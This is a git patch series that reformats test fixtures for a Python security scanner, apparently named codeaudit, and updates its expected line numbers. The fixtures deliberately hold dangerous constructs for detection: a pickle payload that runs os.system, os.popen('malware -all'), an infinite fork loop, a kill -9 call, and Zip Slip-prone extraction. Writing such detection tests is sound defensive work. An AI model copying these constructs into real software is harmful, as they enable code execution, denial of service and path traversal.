         print("Accessible")
@@ -8,25 +9,26 @@ def nogood():
     eval("2 + 2")
     exec("4*23")
 
-
     if os.access("myfile", os.R_OK):
         with open("myfile") as fp:
             return fp.read()
-    os.chmod("myfile", 0o644) # The 0o prefix denotes an octal number
+    os.chmod("myfile", 0o644)  # The 0o prefix denotes an octal number
     print(f"Permissions for '{myfile}' set to 644 (octal).")
 
     return "some default data"
 
+
 import os
-os.popen('malware -all')
+
+os.popen("malware -all")
 bytes_written = os.write(fd, data_to_write)
 bytes_written2 = os.writev(fd, buffers)
 
-pid_zero = os.forkpty() 
+pid_zero = os.forkpty()
 pid = os.fork()
 
 from os import fork as cannothurt
 
-#DO NOT RUN THIS CODE!
+# DO NOT RUN THIS CODE!
 while True:
     cannothurt()  # Creates a new child process
diff --git a/tests/validationfiles/pickle.py b/tests/validationfiles/pickle.py
index 6a795f7..00d8410 100644
--- a/tests/validationfiles/pickle.py
+++ b/tests/validationfiles/pickle.py
@@ -1,18 +1,19 @@
-    
 import pickle
+
 pickle.loads(b"cos\nsystem\n(S'echo hello world'\ntR.")
 
+
 def donotdothis():
-    with open('data.pickle', 'rb') as f:
+    with open("data.pickle", "rb") as f:
         data = pickle.load(f)
 
 
 from pickle import loads as importmalware
 
-importmalware('mysafefile.txt')
+importmalware("mysafefile.txt")
 
 
-#The pickle.Unpickler class is the deserialization engine of the pickle module.
+# The pickle.Unpickler class is the deserialization engine of the pickle module.
 unpickler = pickle.Unpickler(pickled_data_stream)
 
 # Call the load() method to deserialize the data
diff --git a/tests/validationfiles/python2_file_willnotwork.py b/tests/validationfiles/python2_file_willnotwork.py
index ac8791f..8f3387b 100644
--- a/tests/validationfiles/python2_file_willnotwork.py
+++ b/tests/validationfiles/python2_file_willnotwork.py
@@ -7,11 +7,10 @@
 Distributed under the GNU General Public License at gnu.org/licenses/gpl.html.
 """
 
-import sys
 import string
+import sys
 
 import matplotlib.pyplot as pyplot
-
 import Pmf
 
 
diff --git a/tests/validationfiles/random.py b/tests/validationfiles/random.py
index 390ae3c..269586d 100644
--- a/tests/validationfiles/random.py
+++ b/tests/validationfiles/random.py
@@ -1,19 +1,20 @@
-
 import random
 
+
 def generate_random_float():
-  """
-  Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
+    """
+    Generates a random floating-point number between 0.0 (inclusive) and 1.0 (exclusive).
+
+    The random.random() function from Python's built-in 'random' module is used
+    to produce this number.
 
-  The random.random() function from Python's built-in 'random' module is used
-  to produce this number.
+    Returns:
+      float: A random float between 0.0 and 1.0.
+    """
+    random_number = random.random()
+    random.seed(23)
+    return random_number
 
-  Returns:
-    float: A random float between 0.0 and 1.0.
-  """
-  random_number = random.random()
-  random.seed(23)
-  return random_number
 
 # Create a Random instance with a fixed seed for reproducibility
 rng = random.Random(42)
@@ -28,4 +29,4 @@ def generate_random_float():
 num_tri = random.triangular(1.0, 10.0, 5.0)
 
 # Generate a larger block of random bytes (e.g., 16 bytes)
-more_data = random.randbytes(16)
\ No newline at end of file
+more_data = random.randbytes(16)
diff --git a/tests/validationfiles/shelve.py b/tests/validationfiles/shelve.py
index 9c08723..b60ad99 100644
--- a/tests/validationfiles/shelve.py
+++ b/tests/validationfiles/shelve.py
@@ -1,7 +1,7 @@
 import shelve
 
-with shelve.open('spam') as db:
-    db['eggs'] = 'eggs'
+with shelve.open("spam") as db:
+    db["eggs"] = "eggs"
 
-#line belows also is a weakness, since shelve uses the pickle module
-db = shelve.DbfilenameShelf('mydata.db', flag='c', protocol=None, writeback=False)
\ No newline at end of file
+# line belows also is a weakness, since shelve uses the pickle module
+db = shelve.DbfilenameShelf("mydata.db", flag="c", protocol=None, writeback=False)
diff --git a/tests/validationfiles/shutil.py b/tests/validationfiles/shutil.py
index f25965b..9a72d4c 100644
--- a/tests/validationfiles/shutil.py
+++ b/tests/validationfiles/shutil.py
@@ -4,15 +4,26 @@
 
 shutil.copy2("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
 
-shutil.copytree("project", "project_backup", symlinks=False, ignore=None, copy_function=shutil.copy2, ignore_dangling_symlinks=False, dirs_exist_ok=False)
+shutil.copytree(
+    "project",
+    "project_backup",
+    symlinks=False,
+    ignore=None,
+    copy_function=shutil.copy2,
+    ignore_dangling_symlinks=False,
+    dirs_exist_ok=False,
+)
 
-shutil.chown("logs/server.log", user="admin", group="admin", dir_fd=None, follow_symlinks=True)
+shutil.chown(
+    "logs/server.log", user="admin", group="admin", dir_fd=None, follow_symlinks=True
+)
 
 # This path should point to the directory you want to delete
-directory_to_delete = 'path/to/your/directory'
+directory_to_delete = "path/to/your/directory"
 
 # Use shutil.rmtree() to remove the directory and its contents
 shutil.rmtree(directory_to_delete)
 
-from shutil import copy as stealmydata 
+from shutil import copy as stealmydata
+
 stealmydata("source_file.txt", "backup/source_file.txt", follow_symlinks=True)
diff --git a/tests/validationfiles/subprocess.py b/tests/validationfiles/subprocess.py
index e8590f4..eb40176 100644
--- a/tests/validationfiles/subprocess.py
+++ b/tests/validationfiles/subprocess.py
@@ -1,7 +1,8 @@
 """File to check on subprocess usage, which can have severe security risks"""
 
-import subprocess
 import os
+import subprocess
+
 
 def run_subprocess_commands_simplified():
     """
@@ -17,7 +18,7 @@ def run_subprocess_commands_simplified():
     # 'capture_output=True' captures stdout and stderr.
     # 'text=True' decodes stdout/stderr as text (UTF-8 by default).
     # 'check=True' raises a CalledProcessError if the command returns a non-zero exit code (kept for demonstration, but no try-except).
-    result_ls = subprocess.run(['ls', '-l'], capture_output=True, text=True, check=True)
+    result_ls = subprocess.run(["ls", "-l"], capture_output=True, text=True, check=True)
     print("\nCommand: ls -l")
     print("Return Code:", result_ls.returncode)
     print("STDOUT:\n", result_ls.stdout)
@@ -31,9 +32,10 @@ def run_subprocess_commands_simplified():
     # if 'non_existent_command' truly doesn't exist.
     # If you uncomment this, be aware it will likely stop execution here with an error.
 
-
     print("\n--- Using subprocess.Popen ---")
-    print("subprocess.Popen is a lower-level function for more advanced process management.")
+    print(
+        "subprocess.Popen is a lower-level function for more advanced process management."
+    )
     print("It allows for non-blocking execution, piping, and more granular control.")
 
     # Example 3: Running a command asynchronously with Popen
@@ -41,11 +43,13 @@ def run_subprocess_commands_simplified():
     # We can then interact with the process (e.g., wait, communicate).
     print("\nCommand: echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'")
     # shell=True is used here because '&&' is a shell-specific operator.
-    process = subprocess.Popen("echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'",
-                               shell=True,
-                               stdout=subprocess.PIPE,
-                               stderr=subprocess.PIPE,
-                               text=True)
+    process = subprocess.Popen(
+        "echo 'Hello from Popen' && sleep 1 && echo 'Popen finished'",
+        shell=True,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        text=True,
+    )
 
     print(f"Popen process started with PID: {process.pid}")
     print("Waiting for Popen process to complete...")
@@ -60,11 +64,13 @@ def run_subprocess_commands_simplified():
 
     # Example 4: Popen with input (piping data to stdin)
     print("\nCommand: grep 'line' (piping input)")
-    process_grep = subprocess.Popen(['grep', 'line'],
-                                    stdin=subprocess.PIPE,
-                                    stdout=subprocess.PIPE,
-                                    stderr=subprocess.PIPE,
-                                    text=True)
+    process_grep = subprocess.Popen(
+        ["grep", "line"],
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        text=True,
+    )
 
     # Send input to the process's stdin
     input_data = "This is the first line.\nAnd this is the second line.\nNo match here."
@@ -75,33 +81,35 @@ def run_subprocess_commands_simplified():
     print("STDOUT:\n", stdout_grep)
     print("STDERR:\n", stderr_grep)
 
-    #Old things
-    subprocess.check_call(['ls', '-l'])
-    return_code = subprocess.call(['ls', '-l'])
+    # Old things
+    subprocess.check_call(["ls", "-l"])
+    return_code = subprocess.call(["ls", "-l"])
+
 
 # To run the function:
 # run_subprocess_commands_simplified()
 
+
 def simulate_system_command(command):
     print(f"Executing: {command}")
     # getoutput executes the command in a shell and returns the combined stdout and stderr
     output = subprocess.getoutput(command)
-    
+
     if not output:
         print("Command executed successfully (no output).")
     else:
         print(f"System Response:\n{output}")
 
 
-cmd = subprocess.getoutput('kill -9 10')
+cmd = subprocess.getoutput("kill -9 10")
 
 
 # getstatusoutput returns (exit_code, output)
 status, output = subprocess.getstatusoutput(command)
 
 print(f"Command: {command}")
-print(f"Exit Status: {status}") # 0 usually means success, non-zero means failure
+print(f"Exit Status: {status}")  # 0 usually means success, non-zero means failure
 print(f"Output: {output if output else '[No Output]'}")
 
 if status != 0:
-    print("\nResult: The command failed. This is expected in online sandboxes.")
\ No newline at end of file
+    print("\nResult: The command failed. This is expected in online sandboxes.")
diff --git a/tests/validationfiles/syslibrary.py b/tests/validationfiles/syslibrary.py
index 8894753..471d0d8 100644
--- a/tests/validationfiles/syslibrary.py
+++ b/tests/validationfiles/syslibrary.py
@@ -1,13 +1,16 @@
 import sys
 
+
 def my_func(x, y):
     print(f"Adding {x} + {y}")
     return x + y
 
+
 def trace_func(frame, event, arg):
     print(f"TRACE: {event} at line {frame.f_lineno}")
     return trace_func
 
+
 def run_with_trace():
     result = sys.call_tracing(my_func, (3, 4))
     print(f"Result: {result}")
@@ -17,6 +20,7 @@ def my_func(x, y):
     print(f"Adding {x} + {y}")
     return x + y
 
+
 def profile_func(frame, event, arg):
     if event in ("call", "return"):
         code = frame.f_code
@@ -25,19 +29,20 @@ def profile_func(frame, event, arg):
         print(f"PROFILE: {event.upper()} in {func_name} at line {lineno}")
     return profile_func
 
+
 def run_with_profile():
     sys.setprofile(profile_func)
     result = my_func(5, 7)
     sys.setprofile(None)  # Turn off profiling
     print(f"Result: {result}")
 
+
 def run_with_trace2():
     sys.settrace(trace_func)
     my_func(2, 3)
     sys.settrace(None)  # Disable tracing
 
 
-
 def all_sys_shit():
     run_with_profile()
     run_with_trace()
diff --git a/tests/validationfiles/tarfilevalidation.py b/tests/validationfiles/tarfilevalidation.py
index e222dd1..3278c84 100644
--- a/tests/validationfiles/tarfilevalidation.py
+++ b/tests/validationfiles/tarfilevalidation.py
@@ -1,24 +1,29 @@
-#tarfile extractall is not secure by default
+# tarfile extractall is not secure by default
 import tarfile
 
+
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, 'r:gz') as tar:
+    with tarfile.open(file_path, "r:gz") as tar:
         tar.extractall(path=extract_path)
 
+
 def extract_tar_gz(file_path, extract_path):
-    with tarfile.open(file_path, 'r:gz') as donot:
+    with tarfile.open(file_path, "r:gz") as donot:
         donot.extractall(path=extract_path)
 
+
 class MyExtractor:
     def extractall(self, path):
         print(f"Extracting files to: {path}")
 
+
 extractor = MyExtractor()
 extractor.extractall("/some/directory")
 
+
 def func():
-    with tarfile.open('archive.tar', 'r') as tf:
+    with tarfile.open("archive.tar", "r") as tf:
         # Extract a specific file (replace 'file.txt' with actual member name)
-        tf.extract('file.txt')         
+        tf.extract("file.txt")
         # Extract all files
         tf.extractall()
diff --git a/tests/validationfiles/validation1.py b/tests/validationfiles/validation1.py
index dc82b54..d8aa30e 100644
--- a/tests/validationfiles/validation1.py
+++ b/tests/validationfiles/validation1.py
@@ -1,10 +1,11 @@
 """File 1 - not real Python file
-result should be 
-lines: 
+result should be
+lines:
 """
 
-from os import access as check_access 
-import os 
+import os
+from os import access as check_access
+
 if check_access("file.txt", os.R_OK):
     print("Accessible")
 
@@ -17,4 +18,3 @@
 return "some default data"
 
 text = "Hello".lower()
-
diff --git a/tests/validationfiles/validation2.py b/tests/validationfiles/validation2.py
index 6ba9862..f5f563d 100644
--- a/tests/validationfiles/validation2.py
+++ b/tests/validationfiles/validation2.py
@@ -1,9 +1,10 @@
 """File 2 - not real Python file
-result should be 
-lines: 
+result should be
+lines:
 """
+
 import os
-from os import access as x 
+from os import access as x
 
 if x("file.txt", os.R_OK):
     print("Accessible")
@@ -15,4 +16,3 @@
 return "some default data"
 
 text = "Hello".lower()
-
diff --git a/tests/validationfiles/xml.py b/tests/validationfiles/xml.py
index 0fb49c3..f9ca635 100644
--- a/tests/validationfiles/xml.py
+++ b/tests/validationfiles/xml.py
@@ -1,9 +1,10 @@
-
 from xmlrpc.server import SimpleXMLRPCServer
 
+
 def is_even(n):
     return n % 2 == 0
 
+
 server = SimpleXMLRPCServer(("localhost", 8000))
 print("Listening on port 8000...")
 server.register_function(is_even, "is_even")
@@ -16,15 +17,14 @@ def is_even(n):
     print("100 is even: %s" % str(proxy.is_even(100)))
 
 
-from xmlrpc.server import SimpleXMLRPCServer
-from xmlrpc.server import SimpleXMLRPCRequestHandler
+from xmlrpc.server import SimpleXMLRPCRequestHandler, SimpleXMLRPCServer
 
 
 class RequestHandler(SimpleXMLRPCRequestHandler):
-    rpc_paths = ('/RPC2',)
+    rpc_paths = ("/RPC2",)
+
 
-with SimpleXMLRPCServer(('localhost', 8000),
-                        requestHandler=RequestHandler) as server:
+with SimpleXMLRPCServer(("localhost", 8000), requestHandler=RequestHandler) as server:
     server.register_introspection_functions()
 
     # Register pow() function; this will use the value of
@@ -34,7 +34,7 @@ class RequestHandler(SimpleXMLRPCRequestHandler):
     # Register a function under a different name, using
     # register_function as a decorator. *name* can only be given
     # as a keyword argument.
-    @server.register_function(name='add')
+    @server.register_function(name="add")
     def adder_function(x, y):
         return x + y
 
@@ -43,4 +43,4 @@ def adder_function(x, y):
     def mul(x, y):
         return x * y
 
-    server.serve_forever()
\ No newline at end of file
+    server.serve_forever()
diff --git a/tests/validationfiles/zipfile.py b/tests/validationfiles/zipfile.py
index 9b154e1..8486e82 100644
--- a/tests/validationfiles/zipfile.py
+++ b/tests/validationfiles/zipfile.py
@@ -1,26 +1,28 @@
 from zipfile import ZipFile
 
+
 def insecure_extract(zip_path, extract_to_dir):
     """
     INSECURE: This function is vulnerable to the Zip Slip attack.
     It extracts all files from a zip archive without validating their paths.
-    """       
-    with ZipFile(zip_path, 'r') as zip_ref:
+    """
+    with ZipFile(zip_path, "r") as zip_ref:
         # This line is the vulnerability: it extracts directly without path validation.
         zip_ref.extractall(extract_to_dir)
     print("Extraction attempted (might be insecure).")
-    
-    with ZipFile('spam.zip','r') as myzip:
-        with myzip.open('eggs.txt') as myfile:
+
+    with ZipFile("spam.zip", "r") as myzip:
+        with myzip.open("eggs.txt") as myfile:
             print(myfile.read())
 
-    with ZipFile('example.zip') as zf:
-        with zf.open('file_inside.txt', 'r') as file:
-            content = file.read().decode('utf-8')
+    with ZipFile("example.zip") as zf:
+        with zf.open("file_inside.txt", "r") as file:
+            content = file.read().decode("utf-8")
             print(content)
 
+
 def another_function():
-    with ZipFile('example.zip') as zf:
-        with zf.open('file_inside.txt', 'r') as file:
-            content = file.read().decode('utf-8')
+    with ZipFile("example.zip") as zf:
+        with zf.open("file_inside.txt", "r") as file:
+            content = file.read().decode("utf-8")
             print(content)
diff --git a/tests/validationfiles/zstd.py b/tests/validationfiles/zstd.py
index 3b4a3d7..e833bc0 100644
--- a/tests/validationfiles/zstd.py
+++ b/tests/validationfiles/zstd.py
@@ -8,4 +8,4 @@
 print("Compressed size:", len(cdata))
 
 restored = zstd.decompress(cdata)
-print("Matches original:", restored == data)
\ No newline at end of file
+print("Matches original:", restored == data)

From f0108e1cecdd1b883a00d4d23dcfdba73a929a4e Mon Sep 17 00:00:00 2001
From: jurgenwigg <jurgenwigg@protonmail.com>
Date: Wed, 8 Apr 2026 14:26:08 +0200
Subject: [PATCH 2/8] Properly prepared everything

---
 tests/spytestdir/elastic.py                   |  1 -
 tests/spytestdir/example1.py                  |  1 -
 tests/test_apicalls.py                        |  8 +++---
 tests/test_basicpatterns.py                   |  9 +++----
 tests/test_chmod.py                           |  5 ++--
 tests/test_constructspart2.py                 | 11 ++++----
 tests/test_correctexceptionuse.py             |  5 ++--
 tests/test_directorycreation.py               | 11 ++++----
 tests/test_directorycreation2.py              | 19 +++++++-------
 tests/test_edgecases.py                       |  9 +++----
 tests/test_hashstrenght.py                    |  5 ++--
 tests/test_modulecheck.py                     |  5 ++--
 tests/test_obfuscatingbuiltins.py             |  3 +--
 tests/test_oschecks.py                        |  7 +++--
 tests/test_pypiscan.py                        |  4 +--
 tests/test_random.py                          |  3 +--
 tests/test_secretfinding.py                   |  5 ++--
 tests/test_standardlibconstructs.py           | 19 +++++++-------
 tests/test_subprocess.py                      |  3 +--
 tests/test_suppression.py                     |  3 +--
 tests/test_suppressionlogic.py                |  1 -
 tests/test_totalscheck.py                     |  6 ++---
 tests/test_zstd.py                            |  3 +--
 tests/validationfiles/allshit.py              | 12 ++++-----
 tests/validationfiles/correctcounts.py        |  7 +++--
 tests/validationfiles/directorycreation2.py   |  2 +-
 .../dunderexec_with_parsing_error.py          |  5 +++-
 tests/validationfiles/eval.py                 |  2 +-
 tests/validationfiles/file3.py                |  2 +-
 tests/validationfiles/file_with_warnings.py   | 26 +++++++++----------
 tests/validationfiles/modulecheck.py          |  8 +++---
 tests/validationfiles/multiprocessing.py      |  2 +-
 tests/validationfiles/oschecks.py             |  2 +-
 .../python2_file_willnotwork.py               |  3 ++-
 tests/validationfiles/subprocess.py           |  2 +-
 tests/validationfiles/validation1.py          |  2 +-
 tests/validationfiles/xml.py                  |  3 ++-
 37 files changed, 104 insertions(+), 120 deletions(-)

diff --git a/tests/spytestdir/elastic.py b/tests/spytestdir/elastic.py
index 78b8918..abd11cd 100644
--- a/tests/spytestdir/elastic.py
+++ b/tests/spytestdir/elastic.py
@@ -2,7 +2,6 @@
 # From a security point of view: Data exfiltration to an external provider with too many risks.
 
 import os
-
 from elasticsearch import Elasticsearch
 
 
diff --git a/tests/spytestdir/example1.py b/tests/spytestdir/example1.py
index 4318758..b22d36c 100644
--- a/tests/spytestdir/example1.py
+++ b/tests/spytestdir/example1.py
@@ -1,5 +1,4 @@
 import os
-
 import requests
 
 password = os.environ["PASSWORD"]
diff --git a/tests/test_apicalls.py b/tests/test_apicalls.py
index c9e58a5..ed4f660 100644
--- a/tests/test_apicalls.py
+++ b/tests/test_apicalls.py
@@ -1,10 +1,10 @@
+import pytest
 from pathlib import Path
 
-import pytest
+from codeaudit.api_interfaces import version, get_overview
 
-from codeaudit.api_interfaces import get_overview, version
-from codeaudit.checkmodules import get_imported_modules
 from codeaudit.filehelpfunctions import read_in_source_file
+from codeaudit.checkmodules import get_imported_modules
 
 
 def test_api_version():
@@ -51,7 +51,7 @@ def test_get_overview_validfile():
     # This is the expected dictionary - note for testing output!
     expected_data = {
         "FileName": "obfuscating.py",
-        "Number_Of_Lines": 54,
+        "Number_Of_Lines": 68,
         "AST_Nodes": 32,
         "Std-Modules": 2,
         "External-Modules": 0,
diff --git a/tests/test_basicpatterns.py b/tests/test_basicpatterns.py
index 7a30c6c..f171577 100644
--- a/tests/test_basicpatterns.py
+++ b/tests/test_basicpatterns.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -18,7 +17,7 @@ def test_basic_patterns():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [8, 14], "eval": [11]}
+    expected_data = {"os.access": [9, 15], "eval": [12]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -36,7 +35,7 @@ def test_basic_patterns2():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.access": [8, 12], "eval": [10], "os": [8, 12]}
+    expected_data = {"os.access": [9, 13], "eval": [11], "os": [9, 13]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -53,7 +52,7 @@ def test_assert_keyword():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"assert": [5, 31]}
+    expected_data = {"assert": [4, 31]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_chmod.py b/tests/test_chmod.py
index e7c8499..dc5cdc1 100644
--- a/tests/test_chmod.py
+++ b/tests/test_chmod.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.security_checks import perform_validations
 
@@ -21,7 +20,7 @@ def test_chmod_constructs():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"os.access": [5], "os.chmod": [8, 23, 25]}
+    expected_data = {"os.access": [6], "os.chmod": [9, 26, 28]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_constructspart2.py b/tests/test_constructspart2.py
index 989ae01..954e342 100644
--- a/tests/test_constructspart2.py
+++ b/tests/test_constructspart2.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -40,7 +39,7 @@ def test_zipfile_extraction():
 
     # This is the expected dictionary
     expected_data = {
-        "zipfile.ZipFile": [8, 13, 17, 23],
+        "zipfile.ZipFile": [9, 14, 18, 25],
     }
 
     # Assert that the actual data matches the expected data
@@ -86,7 +85,7 @@ def test_input_statement():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"input": [6]}
+    expected_data = {"input": [7]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -104,7 +103,7 @@ def test_marshal_usage():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"marshal.loads": [30], "marshal.load": [36]}
+    expected_data = {"marshal.loads": [31], "marshal.load": [37]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -124,7 +123,7 @@ def test_tar_methods_use():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"tarfile.TarFile": [6, 10, 17, 22, 24]}
+    expected_data = {"tarfile.TarFile": [7, 12, 21, 27, 29]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_correctexceptionuse.py b/tests/test_correctexceptionuse.py
index ca82ddd..e5ba306 100644
--- a/tests/test_correctexceptionuse.py
+++ b/tests/test_correctexceptionuse.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -18,7 +17,7 @@ def test_correct_exception_use():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"pass": [19], "continue": [11]}
+    expected_data = {"pass": [20], "continue": [12]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_directorycreation.py b/tests/test_directorycreation.py
index 0805ab5..6ec3310 100644
--- a/tests/test_directorycreation.py
+++ b/tests/test_directorycreation.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -18,7 +17,7 @@ def test_os_makedirs():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedirs": [10, 79]}
+    expected_data = {"os.makedirs": [10, 77]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -36,7 +35,7 @@ def test_os_mkdir():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkdir": [23]}
+    expected_data = {"os.mkdir": [22]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -54,7 +53,7 @@ def test_os_mkfifo():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkfifo": [45]}
+    expected_data = {"os.mkfifo": [44]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -72,7 +71,7 @@ def test_os_mknod():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mknod": [62]}
+    expected_data = {"os.mknod": [61]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_directorycreation2.py b/tests/test_directorycreation2.py
index b7670f1..6650a9d 100644
--- a/tests/test_directorycreation2.py
+++ b/tests/test_directorycreation2.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -36,7 +35,7 @@ def test_os_mkdir():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkdir": [26]}
+    expected_data = {"os.mkdir": [25]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -54,7 +53,7 @@ def test_os_mkfifo():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mkfifo": [48]}
+    expected_data = {"os.mkfifo": [47]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -72,7 +71,7 @@ def test_os_mknod():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.mknod": [65]}
+    expected_data = {"os.mknod": [64]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -90,7 +89,7 @@ def test_os_makedirs():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedirs": [13, 82]}
+    expected_data = {"os.makedirs": [13, 80]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -108,7 +107,7 @@ def test_os_makedev():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"os.makedev": [94]}
+    expected_data = {"os.makedev": [92]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
@@ -125,9 +124,9 @@ def test_sys_calls():
 
     # This is the expected dictionary
     expected_data = {
-        "sys.call_tracing": [12],
-        "sys.setprofile": [29, 31],
-        "sys.settrace": [35, 37],
+        "sys.call_tracing": [15],
+        "sys.setprofile": [34, 36],
+        "sys.settrace": [41, 43],
     }
 
     # Assert that the actual data matches the expected data
diff --git a/tests/test_edgecases.py b/tests/test_edgecases.py
index 2d76b17..abf0fdf 100644
--- a/tests/test_edgecases.py
+++ b/tests/test_edgecases.py
@@ -11,9 +11,8 @@
 Validation file to see if SAST suppression works correct.
 """
 
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.security_checks import perform_validations
 
@@ -39,8 +38,8 @@ def test_eval():
     # This is the expected dictionary
     expected_data = {
         "exec": [5],
-        "eval": [8, 11, 12, 13, 21, 23, 26, 28, 30],
-        "__import__": [30],
+        "eval": [8, 11, 12, 13, 22, 25, 28, 30, 32],
+        "__import__": [32],
     }
 
     # Assert that the actual data matches the expected data
@@ -79,7 +78,7 @@ def test_eval2():
     actual_data = result["result"]
 
     # This is the expected dictionary
-    expected_data = {"eval": [8]}
+    expected_data = {"eval": [10]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_hashstrenght.py b/tests/test_hashstrenght.py
index c88a0b6..b7708d6 100644
--- a/tests/test_hashstrenght.py
+++ b/tests/test_hashstrenght.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -18,7 +17,7 @@ def test_hash_strenght():
     actual_data = find_constructs(source, constructs)
 
     # This is the expected dictionary
-    expected_data = {"hashlib.md5": [19], "hashlib.sha1": [20, 48]}
+    expected_data = {"hashlib.md5": [20], "hashlib.sha1": [21, 49]}
 
     # Assert that the actual data matches the expected data
     assert actual_data == expected_data
diff --git a/tests/test_modulecheck.py b/tests/test_modulecheck.py
index 7af3693..36a27d5 100644
--- a/tests/test_modulecheck.py
+++ b/tests/test_modulecheck.py
@@ -1,9 +1,8 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
-from codeaudit.checkmodules import check_module_vulnerability, get_imported_modules
 from codeaudit.filehelpfunctions import read_in_source_file
+from codeaudit.checkmodules import get_imported_modules, check_module_vulnerability
 
 
 def test_module_check():
diff --git a/tests/test_obfuscatingbuiltins.py b/tests/test_obfuscatingbuiltins.py
index fc12913..95fa7c7 100644
--- a/tests/test_obfuscatingbuiltins.py
+++ b/tests/test_obfuscatingbuiltins.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
diff --git a/tests/test_oschecks.py b/tests/test_oschecks.py
index 54ddd17..420268a 100644
--- a/tests/test_oschecks.py
+++ b/tests/test_oschecks.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
+from pathlib import Path
 
 from codeaudit.filehelpfunctions import read_in_source_file
 from codeaudit.issuevalidations import find_constructs
@@ -28,8 +27,8 @@ def test_os_calls():
     actual_data = find_constructs(source, constructs)
     expected_data = {
         "os.chmod": [15],
-        "os.forkpty": [25],
-        "os.fork": [26, 32],
+        "os.forkpty": [27],
+        "os.fork": [28, 34],
     }
 
     # This is the expected dictionary
diff --git a/tests/test_pypiscan.py b/tests/test_pypiscan.py
index 1e4d8ea..ba775a5 100644
--- a/tests/test_pypiscan.py
+++ b/tests/test_pypiscan.py
@@ -1,11 +1,11 @@
-from unittest.mock import patch
-
 import pytest
 
 from codeaudit.pypi_package_scan import get_pypi_download_info
 
 # Note This testfunction does NOT make real API calls to PyPI! So check if testdata is still correct in cause of errors.
 
+from unittest.mock import patch
+
 
 @pytest.fixture
 def mock_pypi_response():
diff --git a/tests/test_random.py b/tests/test_random.py
index 23a1a81..e401a2b 100644
--- a/tests/test_random.py
+++ b/tests/test_random.py
@@ -1,6 +1,5 @@
-from pathlib import Path
-
 import pytest
